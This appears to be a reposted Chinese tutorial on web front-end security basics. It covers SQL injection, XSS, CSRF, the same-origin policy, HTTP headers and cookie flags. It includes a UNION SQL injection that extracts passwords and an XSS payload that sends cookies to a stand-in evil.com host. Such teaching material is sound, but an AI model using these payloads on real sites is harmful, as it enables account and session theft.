web 前端安全基础
来源:互联网 发布:法国盐之花淘宝 编辑:程序博客网 时间:2024/04/28 09:32
一.概念解析
1. 注入攻击:当正常的数据内容被注入指令内容,在解释的过程中,如果注入的指令能够被 独立执行,那么攻击就发生了。
2.SQL注入攻击:用户输入提交一段数据库查询代码,获取信息
如下语句,id来自http://www.foo.com/user.php?id=1 中用户传来的id
select username,email,desc from users where id=1;
若将链接参数改为http://www.foo.com/user.php?id=1 union select password,1,1 from users
则SQL查询语句变为
select username,email,desc from users where id=1 union select password,1,1 from users
用户密码会有泄露的风险!
3.XSS:跨站脚本攻击,在web页面里插入恶意Script代码并执行
eval(‘new Image().src=”http://www.evil.com/steal.php?c=”+escape(document. cookie)’)
会在点击图片后将本站cookie信息传到另一网站
- CSRF:跨站请求伪造
4.同源策略:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源。
- 同域:同协议,同域名,同端口
授权:AJAX默认不允许跨域访问,只有目标站点(假如是 http://www.foo.com)明确返回 HTTP 响应头:
Access-Control-Allow-Origin: http://www.evil.com
资源:一般指Web 客户端的资源,包括:HTTP 消息头、整个 DOM 树、浏览器存储(如: Cookies、Flash Cookies、localStorage 等)
二.前端基础
1.URL
url存在类编码方式:escape、encodeURI、encodeURIComponent,
对应解码方式:unescape、decodeURI、decodeURIComponent
- escape:不支持大于 0xffff 的字符,对unicode 为 0x77e5字符编码为「%u77E5」
- encodeURI:基于 UTF-8,对unicode 为 0x77e5字符编码为「%E7%9F%A5」,接受 URI 的 protocol, host, port 等部分,只对 path 和 query 进行编码, 一般用于URL跳转
- encodeURIComponent: 一般用于参数
2.http协议
请求头
GET http://www.foo.com/ HTTP/1.1Host: www.foo.comConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, likeGecko) Chrome/18.0.1025.3 Safari/535.19Referer: http://www.baidu.com/Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3Cookie: SESSIONID=58AB420B1D8B800526ACCCAA83A827A3:FG=1
- GET http://www.foo.com/ HTTP/1.1 GET方法1.1版本的http协议
- Host: www.foo.com 请求的主机
- User-Agent: 包含操作系统、浏览器、 浏览器内核及对应的版本号等信息。
- Referer: http://www.baidu.com/ 从 http://www.baidu.com/页面点击过来(只可读)
响应头
HTTP/1.1 200 OKDate: Sun, 04 Mar 2012 22:48:31 GMTServer: Apache/2.2.8 (Win32) PHP/5.2.6Set-Cookie: PTOKEN=; expires=Mon, 01 Jan 1970 00:00:00 GMT; path=/;domain=.foo.com; HttpOnlySet-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 203000:00:00 GMT; path=/; domain=.foo.comX-Powered-By: PHP/5.2.6Content-Length: 3635Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html;charset=gbk
- HTTP/1.1 200 OK 200状态码,OK状态描述
- Server: Apache/2.2.8 (Win32) PHP/5.2.6 服务端的一些信息:Web 容器、操作系统、服务端语言及对应的版本。 X-Powered-By: PHP/5.2.6
- Content-Length: 3635 响应体长度
- Content-Type: text/html;charset=gbk 响应资源的类型与字符集
- Set-Cookie: 每个Set-Cookie 都设置一个 Cookie 具体格式见cookie构成
3.iframe 父页与子页资源访问
父子页面 可访问contentWindow得到彼此window对象,操作dom元素,子页面对父页面location有写权限
4.js的可执行情景
- JS 格式文件
- 标签
- HTML 的标签 on 事件
- 标签的 href、src 等属性
能够执行 JavaScript 的位置越多,意味着 XSS 发 生的面也越广,XSS 漏洞出现的可能性也越大
5.ajax安全
AJAX 是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一 个域。除非目标域名设置
Access-Control-Allow-Origin: http://www.foo.com
可以通过ajax或者from表单提交,模拟用户请求
6.cookie安全
(1)子域
domain 的值,默认就是本域。
可以指定 domain 为父级域,比如:
document.cookie=”test=1;domain=foo.com”;
不允许 设置 Cookie 的 domain 为下一级子域或其他外域
(2)路径
不同路径下的cookie可以通过跨 iframe 进行 DOM 操作实现
(3)httpOnly
设置了httpOnly后客户端无法读取cookie值,只有极少数的情况会发生泄漏。
(4)secure
Secure Cookie 机制指的是设置了 Secure 标志的 Cookie 仅在 HTTPS 层面上安全传输, 如果请求是 HTTP 的,就不会带上这个 Cookie。但其对客户端脚本可读写
document.cookie=”test_secure=hijack;path=/;secure;”
(5)本地cookie与内存cookie
与过期时间(Cookie 的 expires 字段)相关,没有设置的会在会话关闭后消失(待确定)
(6)P3P性质
- web 前端安全基础
- Web前端安全不可忽视
- web前端安全编码
- web前端安全
- web前端安全
- 【前端】web安全字体
- 浅谈web前端安全
- web前端安全
- Web安全基础入门笔记(二)Web前端开发基础
- 初探前端WEB安全#1
- 初探前端WEB安全#2
- web前端基础
- Web前端基础
- Web前端基础
- Web前端基础----HTML
- web前端开发基础
- 【web前端】CSS基础
- web前端-CSS3基础
- 学习C语言的第一题 输入 输入两个数,a,b 输出 输出a+b的值 样例输入 2 3 样例输出 5
- 329. Longest Increasing Path in a Matrix
- oracle中trim,ltrim,rtrim函数用法
- poi导出大数据 1000万
- Java-Map类
- web 前端安全基础
- CSS相关
- 【特别篇】NOIP2017划水记
- Java Eclipse Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
- web项目报Cannot create PoolableConnectionFactory(违反约束)错误
- 行走在OI路上
- tensorflow object detection api训练自己的数据集
- 20171120WindowsPrj09_01Socket
- IDEA中Git的更新、提交、还原方法